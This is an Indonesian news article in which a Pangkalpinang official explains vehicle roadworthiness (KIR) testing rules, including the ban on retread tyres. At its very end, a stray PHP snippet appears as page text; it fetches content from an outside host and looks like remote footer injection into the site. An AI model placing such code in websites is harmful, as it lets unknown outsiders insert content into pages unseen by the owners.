Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Kamis, 26 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Pangkalpinang l Jejakkasus.info – Syahriandany,S.H Kepala Seksi Pengujian Kendaraan Bermotor Dishub kota Pangkalpinang Dan Juga menjabat sebagai ketua DPD IPKBI (IKATAN PENGUJI KENDARAAN BERMOTOR INDONESIA) KEP Bangka Belitung

Mengatakan dihadapan Awak media terbit nya Pemberitaan di media Online
Terkait Penggunaan Ban Vulkanisir Tidak Bisa lulus uji KIR di Karna

Berdasarkan Peraturan Direktur Jenderal Perhubungan Darat Nomor; SK 523/AJ.402/DRJD/2015
TENTANG Pedoman Pelaksanaan Inspeksi Keselamatan Lalu Lintas dan Angkutan Jalan Bidang Angkutan Umum.

“Bicara soal transportasi umum perkotaan, tidak bisa dilepaskan dari keberadaan uji kelaikan kendaraan (KIR) angkutan barang dan penumpang. Jika uji kir ini dipraktikkan dengan semestinya, transportasi perkotaan mengarah pada keselamatan dan ikut ambil andil dalam menjaga udara kota tetap lestari.

SYAHRIANDANY S.H , DPD IPKBI ( DEWAN PERWAKILAN DAERAH ), Ban vulkanisir sendiri di larang dalam penggunaan yang tercantum dalam Permenhub No 19 th 2021 tentang Pengujian Kendaraan Bermotor. Kendaraan Bermotor adalah bagian penting dari mobilitas modern, terutama untuk transportasi niaga dan lain lainnya, tetap dalam kondisi yg aman dan layak di gunakan, dan suatu prosedur yg wajib di lakukan oleh kendaraan bermuatan yaitu uji KIR atau UJI Kendaraan, Sebagai ultimatum Penting KIR pada kendaraan wajib UJI.

Baca Juga:  Hj. Ayu Tjiptaningsih Kunjungi  Kediaman Dimas dan Enca yang Lagi Sakit

,“Maksud dari pengujian kendaraan bermotor itu supaya selamat di jalan, melestarikan lingkungan dari kendaraan yang berjalan atau yang bergerak, memberikan pelayanan kepada masyarakat. Tujuannya memberikan jaminan keselamatan bagi penggunaan kendaraan di jalan dan emisi gas buang terkontrol,”

SYAHRIANDANY S, H menyadari bahwa tugasnya, beserta para bawahannya, sangat penting. Yang menjadi taruhan dari tanggung jawabnya adalah banyaknya nyawa manusia yang beraktifitas di jalan raya. Jika satu saja yang kendaraan yang diluluskan, walau tidak layak jalan, risikonya besar.

“Misalnya, satu ajah bus yang tidak layak jalan beroperasi. Berapa penumpang yang dipertaruhkan? Kalau rem blong, berapa potensi kendaraan yang ditabrak atau pejalan kaki yang bisa menjadi korban.”

Baca Juga:  Bupati Nias dan Bupati Nisel Tandatangani MOU Pembangunan Waduk Idano Mola dan Penetapan Batas Daerah

Itulah mengapa, Saya selalu mengingatkan dirinya sendiri dan juga bawahannya untuk bekerja dengan penuh dedikasi. Mereka sesuai prosedur setidaknya memeriksa roda, kaki-kaki, lampu, klakson, wiper, fungsi rem, uji emisi, dan lainnya. “Jika salah satu tidak lolos, kami tidak akan tanda tangan buku kendali. Kami suruh perbaiki bagian yang tidak lulus uji, kemudian kembali lagi untuk diuji. Soalnya, kalau ada apa-apa yang kena pengujinya,” terang SYAHRIANDANY.

Tambah nya Adapun beberapa manfaat yang sangat penting dalam UJI KIR/UJI Kendraan bagi Masyarakat Bangka Belitung yakni :

1. Mengurangi resiko terjadi kecelakaan yg disebabkan oleh kerusakan kendaraan.

2. Perlindungan Barang kendaraan Niaga sering kali mengangkut barang yg berharga, dengan demikian menjalin uji kir secara berkala 6 bulan resiko kerusakan pada kendaraan dapat di minimalkan sehingga barang barang yg diangkut juga terlindungi.

Pemeliharaan Preventif melalui uji KIR, Pemilik kendaraan dapat mengetahui secara dini bila ada komponen yang perlu di perbaiki atau diganti, hal ini membantu mencegah perbaikan yg lebih tinggi dikemudian hari.

Baca Juga:  PC GP Ansor Bangka Barat Melaksanakan Kegiatan Kaderisasi Dirosah Ula, Bentuk Pengkaderan dengan Kolaborasi Ansor dan Rijalul Ansor

3. Demi keselamatan dalam berkenaan
Karena potensi besar kendaraan akan mengakibatkan mencelakai org lain, bilamana persyaratan teknis dan laik jalan dalam pemeriksaan tidak memenuhi syarat dalam pemeriksaan.

Rujukan UU 22 tahun 2009 dan PP 55 tahun 2012 :Tentang lalu lintas angkutan jalan-Tentang kendaraan

Pesan , SYAHRIANDANY menghimbau supaya awak kendaraanlah yang bertanggung jawab. Karena merekalah yang tahu secara “pribadi” kendaraan mereka. Setiap kali akan mengoperasikan kendaraan, mereka harus memeriksa kondisi kendaraan, tidak menunggu uji kir. “Selain itu, setiap PO kan umumnya punya bengkel sendiri. Di sini peran sopir dan PO menjadi sangat penting dalam melihat kondisi kendaraannya. untuk sama-sama mencapai memberi pelayanan yang bagus. Sehingga mencapai keselamatan bersama. “ tutup nya. (MLN)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat
Perdana SEKDA Tanjab Barat berikan Arahan dalam Rakor KADES dan BPD

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>